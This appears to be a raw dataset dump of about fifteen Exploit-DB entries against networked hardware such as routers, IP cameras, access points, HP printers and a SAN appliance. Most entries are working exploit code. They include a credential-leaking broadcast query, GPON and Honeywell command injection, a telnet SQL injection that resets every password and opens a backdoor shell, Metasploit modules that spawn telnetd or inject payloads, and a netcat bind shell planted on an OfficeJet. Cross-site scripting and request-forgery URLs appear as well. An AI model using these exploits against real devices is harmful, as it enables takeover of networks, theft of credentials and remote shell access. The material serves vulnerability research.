deardaniel/secdata-raw huggingface dataset:
Exploit-DB #21983
Description: GlobalSunTech Access Point GL2422AP-0T - Information Disclosure
Type: remote
Platform: hardware
Date: 2002-11-04
Author: Tom Knienieder

Exploit:
// source: https://www.securityfocus.com/bid/6100/info

An information disclosure vulnerability has been discovered in GlobalSunTech access points.

It has been reported that a remote attacker is able to retrieve sensitive information from vulnerable access points, including AP login credentials.

Information gained by exploiting this vulnerability may allow an attacker to launch further attacks against the target network.

It should be noted that this vulnerability was reported for a WISECOM GL2422AP-0T access point. Devices that use Global Sun Technology access points may be affected by this issue.

It has been determined that D-Link DI-614+ and SMC Barricade 7004AWBR access points are not affected by this issue.

It has been reported that Linksys WAP11-V2.2 is prone to this issue, but to a lesser extent. 

/*

 Orig version by Tom Knienieder <knienieder@khamsin.ch>
 Patched by H�kan Carlsson <hockey@easylogic.se> for DWL-900AP+ v2.2

*/

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <sys/socket.h>

typedef struct {
        char type[32] /* [28] */;
	char scr1 [4];
        char name[32];
        char user[16];
        char pass[16];
	char scr2 [408];
	char ssid [32];
	char scr3 [61];
	unsigned char wkey [13];
}
__attribute__ ((packed)) answer;

int main()
{
        char rcvbuffer[1024];
        struct sockaddr_in sin;
        answer* ans = (answer *)rcvbuffer;
        int sd, ret, val;

        sin.sin_family          = AF_INET;
        sin.sin_addr.s_addr     = inet_addr("255.255.255.255");
        sin.sin_port            = htons(27155);

        sd = socket(AF_INET, SOCK_DGRAM, 0);
        if (sd < 0)
                perror("socket");

        val = 1;
        ret = setsockopt(sd, SOL_SOCKET, SO_BROADCAST, &val, sizeof(val));
        if (ret < 0)
        {
                perror("setsockopt");
                exit(1);
        }

        ret = sendto(sd, "gstsearch", 9, 0, (const struct sockaddr *)&sin,
			sizeof(struct sockaddr));
        if (ret < 0)
        {
                perror("sendto");
                exit(1);
        }

        ret = read(sd,&rcvbuffer,sizeof(rcvbuffer));

        printf("Type            : %.32s\n",ans->type);
        printf("Announced Name  : %s\n",ans->name);
        printf("Admin Username  : %s\n",ans->user);
        printf("Admin Password  : %s\n",ans->pass);
        printf("SSID            : %s\n",ans->ssid);
        printf("Wep KEY         : ");
	{
		int i = 0;
		for (i=0; i<sizeof(ans->wkey); i++) {
			printf ("%02x ", ans->wkey[i]);
		}
		printf ("\n");
	}

        return 0;
}
Exploit-DB #44576
Description: GPON Routers - Authentication Bypass / Command Injection
Type: remote
Platform: hardware
Date: 2018-05-03
Author: vpnmentor

Exploit:
#!/bin/bash

echo "[+] Sending the Command… "
# We send the commands with two modes backtick (`) and semicolon (;) because different models trigger on different devices
curl -k -d "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=\`$2\`;$2&ipv=0" $1/GponForm/diag_Form?images/ 2>/dev/null 1>/dev/null
echo "[+] Waiting…."
sleep 3
echo "[+] Retrieving the ouput…."
curl -k $1/diag.html?images/ 2>/dev/null | grep ‘diag_result = ‘ | sed -e ‘s/\\n/\n/g’
Exploit-DB #40441
Description: Grandsteam GXV3611_HD - SQL Injection
Type: remote
Platform: hardware
Date: 2016-09-29
Author: pizza1337

Exploit:
# Exploit Title: Grandstream GXV3611_HD Telnet SQL Injection and backdoor command
# Exploit Author: pizza1337
# Vendor Homepage: http://www.grandstream.com/
# Version: GXV3611_HD Core 1.0.3.6, 1.0.4.3
# GXV3611IR_HD Core 1.0.3.5
# Tested on:
# -GXV3611_HD
#  Bootloader Version: 	1.0.0.0
#  Core Version: 	1.0.4.3
#  Base Version: 	1.0.4.43
#  Firmware Version: 	1.0.4.43
# -GXV3611IR_HD
#  Bootloader Version:  1.0.3.5
#  Core Version:        1.0.3.5
#  Base Version:        1.0.3.5
#  Firmware Version:    1.0.3.5
# CVE : CVE-2015-2866
# Category: remote
# More information:
# https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-2866
# https://www.kb.cert.org/vuls/id/253708
# Description:
# http://boredhackerblog.blogspot.com/2016/05/hacking-ip-camera-grandstream-gxv3611hd.html
import telnetlib
import sys

if len(sys.argv) < 2:
    print "USAGE: python %s IP_ADDRESS"%sys.argv[0]
    quit()

conn = telnetlib.Telnet(sys.argv[1])
conn.read_until("Username: ")
conn.write("';update user set password='a';--\r\n") #This changes all the passwords to a, including the admin password
conn.read_until("Password: ")
conn.write("nothing\r\n")
conn.read_until("Username: ")
conn.write("admin\r\n")
conn.read_until("Password: ")
conn.write("a\r\n") #Login with the new password
conn.read_until("> ")
conn.write("!#/ port lol\r\n") #Backdoor command triggers telnet server to startup. For some reason, typing "!#/ port" does not seem to work.
conn.read_until("> ")
conn.write("quit\r\n")
conn.close()
print "Telnet into port 20000 with username root and no password to get shell" #There is no login password
Exploit-DB #38584
Description: Grandstream Multiple IP Cameras - Cross-Site Request Forgery
Type: remote
Platform: hardware
Date: 2013-06-12
Author: Castillo

Exploit:
source: https://www.securityfocus.com/bid/60532/info

Grandstream multiple IP cameras including GXV3501, GXV3504, GXV3601, GXV3601HD/LL, GXV3611HD/LL, GXV3615W/P, GXV3651FHD, GXV3662HD, GXV3615WP_HD, and GXV3500 are prone to a cross-site request-forgery vulnerability.

Exploiting this issue may allow a remote attacker to perform certain unauthorized actions. This may lead to further attacks. 

http://www.example.com/goform/usermanage?cmd=add&user.name=test3&user.[CREDENTIAL_REDACTED].level=0
Exploit-DB #31132
Description: Group Logic ExtremeZ-IP File and Print Servers 5.1.2 x15 - Multiple Vulnerabilities
Type: remote
Platform: hardware
Date: 2008-02-10
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/27718/info

ExtremeZ-IP File and Print servers are prone to multiple vulnerabilities including denial-of-service and information-disclosure issues.

Attackers can exploit these issues to cause denial-of-service conditions or to obtain potentially sensitive information.

These issues affect versions prior to ExtremeZ-IP File Server 5.1.2x15 and ExtremeZ-IP Print Server 5.1.2x15. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31132.zip
Exploit-DB #50742
Description: H3C SSL VPN - Username Enumeration
Type: remote
Platform: hardware
Date: 2022-02-16
Author: LiquidWorm

Exploit:
# Exploit Title: H3C SSL VPN - Username Enumeration
# Exploit Author: LiquidWorm

H3C SSL VPN Username Enumeration


Vendor: Hangzhou H3C Technologies Co. | New H3C Technologies Co., Ltd.
Product web page: https://www.h3c.com
Affected version: n/a

Summary: H3C SSL VPN is a secure VPN system based on SSL connections. It allows mobile employees
to access corporate networks remotely in an easy and secure way. The H3C SSL VPN devices are a
new generation of professional SSL VPN devices for enterprises. They can function as ingress
gateways as well as proxy gateways of internal server clusters. The SecPath SSL VPN devices are
for small-to medium-sized enterprises, while the SecBlade SSL VPN devices are for medium-sized
enterprises.

Desc: The weakness is caused due to the login script and how it verifies provided credentials. An
attacker can use this weakness to enumerate valid users on the affected application via 'txtUsrName'
POST parameter.

Tested on: ssl vpn gateway HttpServer 1.1


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2022-5697
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5697.php


24.01.2022

--


Non-valid:
----------

POST https://10.0.0.5/svpn/vpnuser/login_submit.cgi

txtMacAddr=[PII_REDACTED]00&svpnlang=en&selIdentity=1&txtUsrName=root&txt[CREDENTIAL_REDACTED]=1&authmethod=1&vldCode=


		<tr><td align="center">User is not exist</TD></TR>



Valid:
------

POST https://10.0.0.5/svpn/vpnuser/login_submit.cgi

txtMacAddr=[PII_REDACTED]00&svpnlang=en&selIdentity=1&txtUsrName=administrator&txt[CREDENTIAL_REDACTED]=1&authmethod=1&vldCode=

		<tr><td align="center">Input password incorrect</TD></TR>



Valid:
------

POST https://10.0.0.5/svpn/vpnuser/login_submit.cgi

txtMacAddr=[PII_REDACTED]00&svpnlang=en&selIdentity=1&txtUsrName=guest&txt[CREDENTIAL_REDACTED]=1&authmethod=1&vldCode=

		<tr><td align="center">Local user state is inactive</TD></TR>
Exploit-DB #36429
Description: HomeSeer HS2 2.5.0.20 - Web Interface Log Viewer Page URI Cross-Site Scripting
Type: remote
Platform: hardware
Date: 2011-12-08
Author: Silent Dream

Exploit:
source: https://www.securityfocus.com/bid/50978/info

HS2 web interface is prone to multiple security vulnerabilities:

1. An HTML-injection vulnerability.
2. A cross-site request-forgery vulnerability.
3. A directory-traversal vulnerability.

Attackers can exploit these issues to perform certain actions in the context of an authorized user's session, run arbitrary HTML and script code, and transfer files outside of the web directory. Other attacks may also be possible.

HomeSeer HS2 2.5.0.20 is vulnerable; prior versions may also be affected. 

http://www.example.com/example<script>alert(document.cookie)</script>
Exploit-DB #51885
Description: Honeywell PM43 < P10.19.050004 - Remote Code Execution (RCE)
Type: remote
Platform: hardware
Date: 2024-03-14
Author: ByteHunter

Exploit:
#- Exploit Title: Honeywell PM43 < P10.19.050004 - Remote Code Execution (RCE)
#- Shodan Dork: http.title:PM43 , PM43
#- Exploit Author: ByteHunter
#- Email: 0xByteHunter@proton.me
#- Frimware Version: versions prior to P10.19.050004
#- Tested on: P10.17.019667
#- CVE : CVE-2023-3710


import requests
import argparse

BLUE = '\033[94m'
YELLOW = '\033[93m'
RESET = '\033[0m'

def banner():
    banner = """
    ╔════════════════════════════════════════════════╗
        CVE-2023-3710   
        Command Injection in Honeywell PM43 Printers
        Author: ByteHunter      
    ╚════════════════════════════════════════════════╝
    """
    print(YELLOW + banner + RESET)


def run_command(url, command):
    full_url = f"{url}/loadfile.lp?pageid=Configure"
    payload = {
        'username': f'hunt\n{command}\n',
        'userpassword': 'admin12345admin!!'
    }
    try:
        response = requests.post(full_url, data=payload, verify=False)
        response_text = response.text
        html_start_index = response_text.find('<html>')
        if html_start_index != -1:
            return response_text[:html_start_index]
        else:
            return response_text  
    except requests.exceptions.RequestException as e:
        return f"Error: {e}"

def main():
    parser = argparse.ArgumentParser(description='Command Injection PoC for Honeywell PM43 Printers')
    parser.add_argument('--url', dest='url', help='Target URL', required=True)
    parser.add_argument('--run', dest='command', help='Command to execute', required=True)

    args = parser.parse_args()

    response = run_command(args.url, args.command)
    print(f"{BLUE}{response}{RESET}")

if __name__ == "__main__":
    banner()
    main()
Exploit-DB #46143
Description: Hootoo HT-05 - Remote Code Execution (Metasploit)
Type: remote
Platform: hardware
Date: 2019-01-14
Author: Andrei Manole

Exploit:
require 'msf/core'
require 'net/http'
require "uri"

class MetasploitModule < Msf::Exploit::Remote

  include Msf::Exploit::Remote::Tcp

#
#Descrizione del Exploit
#
  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Hotoo HT-05  remote shell exploit',

      'Description' => %q{
       This module tries to open a door in the device by exploiting the RemoteCodeExecution by creating a backdoor inside the device
         This exploit was written by Andrei Manole. Version of the firmware 2.000.022. Tested on 2.000.082 -> it still works
      },
      'Author'      => 'Andrei Manole',
      'References'  =>
        [
        ],
      'Privileged'     => true,
      'Platform'       => [ 'unix' ],
      'Arch'           => ARCH_CMD,
      'Payload'        =>
        {
          'Space'    => 2000,
          'BadChars' => '',
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType'    => 'cmd_interact',
              'ConnectionType' => 'find'
            }
        }, #fine del settaggio del payload
      'Targets'        =>
        [
          [ 'Automatic', { } ],
        ],
      'DisclosureDate' => "20 Dicembre 2018",
      'DefaultTarget'  => 0))

    register_options([ Opt::RPORT(6666) ], self.class)

  end

def send_request(host,port)

        uri = URI.parse("http://#{host}/protocol.csp?function=set&fname=security&opt=mac_table&flag=close_forever&mac=|/bin/busybox%20telnetd%20-l/bin/sh%20-p#{port}")
        http = Net::HTTP.new(uri.host, uri.port)

       request = Net::HTTP::Get.new(uri.request_uri)
       response = http.request(request)

  if response.code == 200 || response.message ==  'OK' ||  response.class.name == 'HTTPOK' then
        return true
      end

      return false

  end

  def exploit #exploit

    print_status("[+] Apertura backdoor in corso...")
    if !send_request(datastore['RHOST'],datastore['RPORT']) then
      raise("[-] Errore nel apertura della porta")
    end
    print_good("[+] Richiesta inviata con successo! :)")
    nsock = self.connect(false, {"RPORT" => datastore['RPORT']})
    print_good("[+] Porta aperta con successo ! :)")
    nsock.put(payload.encoded + " >/dev/null 2>&1")
    handler(nsock)

   return
  end

end
Exploit-DB #21285
Description: HP AdvanceStack Switch - Authentication Bypass
Type: remote
Platform: hardware
Date: 2002-02-08
Author: Tamer Sahin

Exploit:
source: https://www.securityfocus.com/bid/4062/info

HP AdvanceStack 10Base-T Switching Hubs combine 10Base-T functionality with the performance of switching.

It has been reported that authentication for HP J3210A 10Base-T Switching Hubs may be bypassed by an unprivileged user who accesses one of the administrative web pages directly.

The attacker may allegedly change the superuser password of the device via this interface and gain access to the administrative facilities of the device. Additionally, authentication credentials are disclosed to the attacker.

*Reportedly, the password is stored in plain text and can be revealed by viewing the source of the web page. 

http://host/security/web_access.html
Exploit-DB #21827
Description: HP Compaq Insight Manager - Web Interface Cross-Site Scripting
Type: remote
Platform: hardware
Date: 2002-09-23
Author: Taylor Huff

Exploit:
source: https://www.securityfocus.com/bid/5780/info

It has been reported that the Compaq Insight Manager web interface is prone to cross-site scripting attacks. It is possible to construct a malicious link to a Compaq Insight Manager web interface that includes arbitrary script code. When the link is visited with a web client, the script code will execute in the context of the Compaq Insight Manager web interface.

The component which appears to be affected is Compaq Insight Management Agents. However, further details about which software is vulnerable are not available.

http://<Server IP>:2301/<script>alert('Test')</script>
Exploit-DB #22319
Description: HP JetDirect Printer - SNMP JetAdmin Device Password Disclosure
Type: remote
Platform: hardware
Date: 2003-03-03
Author: Sven Pechler

Exploit:
HP JetDirect J2552A/J2552B/J2591A/J3110A/J3111A/J3113A/J3263A/300.0 X Printer SNMP JetAdmin Device Password Disclosure Vulnerability

source: https://www.securityfocus.com/bid/7001/info

A problem with JetDirect printers could make it possible for a remote user to gain administrative access to the printer.

It has been reported that HP JetDirect printers leak the web JetAdmin device password under some circumstances. By sending an SNMP GET request to a vulnerable printer, the printer will return the hex-encoded device password to the requester. This could allow a remote user to access and change configuration of the printer. 

C:\>snmputil get example.printer public .1.3.6.1.4.1.11.2.3.9.1.1.13.0
Exploit-DB #20565
Description: HP JetDirect rev. G.08.x/rev. H.08.x/x.08.x/J3111A - LCD Display Modification
Type: remote
Platform: hardware
Date: 1997-12-08
Author: sili

Exploit:
/*
source: https://www.securityfocus.com/bid/2245/info

Certain versions of HP JetDirect enabled printers provide a function (PJL command) that changes the LCD display on a printer over TCP/IP. Arbitrary strings can be sent to the LCD display by a remote user using this command. This represents more of a nuisance than a threat, although it is conceivable that the ability to modify the display could be used in some sort of "social engineering" scheme. 
*/

/*
   HP Printer Hack
   12/8/97 sili@l0pht.com
*/

#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <stdio.h>

#define PORT 9100

int main (int argc, char *argv[]) {

  int sockfd,len,bytes_sent;   /* Sock FD */
  struct hostent *host;   /* info from gethostbyname */
  struct sockaddr_in dest_addr;   /* Host Address */
  char line[100];

  if (argc !=3) {
    printf("HP Display Hack\n--sili@l0pht.com 12/8/97\n\n%s printer \"message\"\n",argv[0]);
    printf("\tMessage can be up to 16 characters long\n");
    exit(1);
  }

  if ( (host=gethostbyname(argv[1])) == NULL) {
    perror("gethostbyname");
    exit(1);
  }

  printf ("HP Display hack -- sili@l0pht.com\n");
  printf ("Hostname:   %s\n", argv[1]);
  printf ("Message: %s\n",argv[2]);

  /* Prepare dest_addr */
  dest_addr.sin_family= host->h_addrtype;  /* AF_INET from gethostbyname */
  dest_addr.sin_port= htons(PORT) ; /* PORT defined above */

  /* Prepare dest_addr */
  bcopy(host->h_addr, (char *) &dest_addr.sin_addr, host->h_length);

  bzero(&(dest_addr.sin_zero), 8);  /* Take care of  sin_zero  ??? */


  /* Get socket */
/*  printf ("Grabbing socket....\n"); */
  if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) {
    perror("socket");
    exit(1);
  }

  /* Connect !*/

  printf ("Connecting....\n");

  if (connect(sockfd, (struct sockaddr *)&dest_addr,sizeof(dest_addr)) == -1){
    perror("connect");
    exit(1);}

  /* Preparing JPL Command */

  strcpy(line,"\033%-12345X@PJL RDYMSG DISPLAY = \"");
  strncat(line,argv[2],16);
  strcat(line,"\"\r\n\033%-12345X\r\n");

  /* Sending data! */

/*  printf ("Sending Data...%d\n",strlen(line));*/
/*  printf ("Line: %s\n",line); */
  bytes_sent=send(sockfd,line,strlen(line),0);

  printf("Sent %d bytes\n",bytes_sent);
  close(sockfd);
}
Exploit-DB #42176
Description: HP PageWide Printers / HP OfficeJet Pro Printers (OfficeJet Pro 8210) - Arbitrary Code Execution
Type: remote
Platform: hardware
Date: 2017-06-14
Author: Jacob Baines

Exploit:
##
# Create a bind shell on an unpatched OfficeJet 8210
# Write a script to profile.d and reboot the device. When it comes
# back online then nc to port 1270.
#
# easysnmp instructions:
# sudo apt-get install libsnmp-dev
# pip install easysnmp
##

import socket
import sys
from easysnmp import snmp_set

profile_d_script = ('if [ ! -p /tmp/pwned ]; then\n'
                    '\tmkfifo /tmp/pwned\n'
                    '\tcat /tmp/pwned | /bin/sh 2>&1 | /usr/bin/nc -l 1270 > /tmp/pwned &\n
                    'fi\n')

if len(sys.argv) != 3:
    print '\nUsage:upload.py [ip] [port]\n'
    sys.exit()

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(2)
server_address = (sys.argv[1], int(sys.argv[2]))
print 'connecting to %s port %s' % server_address
sock.connect(server_address)

dir_query = '@PJL FSDOWNLOAD FORMAT:BINARY SIZE=' + str(len(profile_d_script)) + ' NAME="0:/../../rw/var/etc/profile.d/lol.sh"\r\n'
dir_query += profile_d_script
dir_query += '\x1b%-12345X'
sock.sendall(dir_query)
sock.close()

sock1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock1.connect(server_address)
dir_query = '@PJL FSQUERY NAME="0:/../../rw/var/etc/profile.d/lol.sh"\r\n'
sock1.sendall(dir_query)

response = ''
while True:
    data = sock1.recv(1)
    if '\n' == data: break
    response += data

print response
snmp_set('.1.3.6.1.2.1.43.5.1.1.3.1', 4, 'integer', hostname='192.168.1.158', community='public', version=1)
print 'Done! Try port 1270 in ~30 seconds'
Exploit-DB #18901
Description: HP StorageWorks P4000 - Virtual SAN Appliance Command Execution (Metasploit)
Type: remote
Platform: hardware
Date: 2012-05-21
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info={})
		super(update_info(info,
			'Name'           => "HP StorageWorks P4000 Virtual SAN Appliance Command Execution",
			'Description'    => %q{
					This module exploits a vulnerability found in HP's StorageWorks P4000 VSA,
				versions prior to 9.5.  By using a default account credential, it is possible
				to inject arbitrary commands as part of a ping request via port 13838.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Nicolas Gregoire',  #Discovery, PoC, additional assistance
					'sinn3r'             #Metasploit
				],
			'References'     =>
				[
					['EDB', '18893'],
					['URL', 'http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index.xhtml?loc=en_US&id=958'],
					['URL', 'http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c03082086']
				],
			'Payload'        =>
				{
					'BadChars' => "/",
					'Compat'   =>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'generic perl telnet bash'
						}
				},
			'DefaultOptions'  =>
				{
					'ExitFunction' => "none"
				},
			'Platform'       => ['unix', 'linux'],
			'Arch'           => ARCH_CMD,
			'Targets'        =>
				[
					['HP VSA prior to 9.5', {}]
				],
			'Privileged'     => false,
			'DisclosureDate' => "Nov 11 2011",
			'DefaultTarget'  => 0))

		register_options(
			[
				OptPort.new('RPORT', [true, 'The remote port', 13838])
			], self.class)
	end


	def generate_packet(data)
		pkt = "\x00\x00\x00\x00\x00\x00\x00\x01"
		pkt << [data.length + 1].pack("N*")
		pkt << "\x00\x00\x00\x00"
		pkt << "\x00\x00\x00\x00\x00\x00\x00\x00"
		pkt << "\x00\x00\x00\x14\xff\xff\xff\xff"
		pkt << data
		pkt << "\x00"

		pkt
	end


	def exploit
		connect

		# Login packet
		print_status("Sending login packet")
		packet = generate_packet("login:/global$agent/L0CAlu53R/Version \"8.5.0\"")
		sock.put(packet)
		res = sock.get_once
		vprint_status(Rex::Text.to_hex_dump(res)) if res

		# Command execution
		print_status("Sending injection")
		data = "get:/lhn/public/network/ping/127.0.0.1/foobar;#{payload.encoded}/"
		packet = generate_packet(data)
		sock.put(packet)
		res = sock.get_once
		vprint_status(Rex::Text.to_hex_dump(res)) if res

		handler
		disconnect
	end
end